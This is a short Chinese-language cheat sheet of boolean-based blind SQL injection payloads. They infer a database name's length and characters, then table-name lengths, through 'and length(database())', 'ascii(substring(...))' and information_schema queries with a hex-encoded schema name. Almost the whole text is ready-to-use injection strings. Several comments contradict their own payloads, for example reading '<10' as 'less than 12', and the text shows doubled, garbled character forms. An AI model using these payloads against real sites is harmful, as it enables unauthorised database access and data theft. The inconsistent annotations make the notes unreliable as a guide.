猜解數(shù)據(jù)庫長(zhǎng)度
and Length((database()))<10 //小于12返回正常說明數(shù)據(jù)庫是12位以下

and length((database()))<8 //小于8返回錯(cuò)誤說明數(shù)據(jù)庫名是9位的

猜解數(shù)據(jù)庫名
and ascii(substring((database()),1,1))=100 //100的ascii碼=d,說明不是d

and ascii(substring((database()),1,1))=122 //122存在說明數(shù)據(jù)庫名第一位是z

and ascii(substring((database()),2,1))=114 返回錯(cuò)誤說明不是ascii碼114=r 說明第二位不是r

and ascii(substring((database()),2,1))=115 返回正常說明第二位是s

猜表
and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))<10 #小于8返回正常表示表小于10

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))>9 #大于9返回錯(cuò)誤,表示值是9或8...
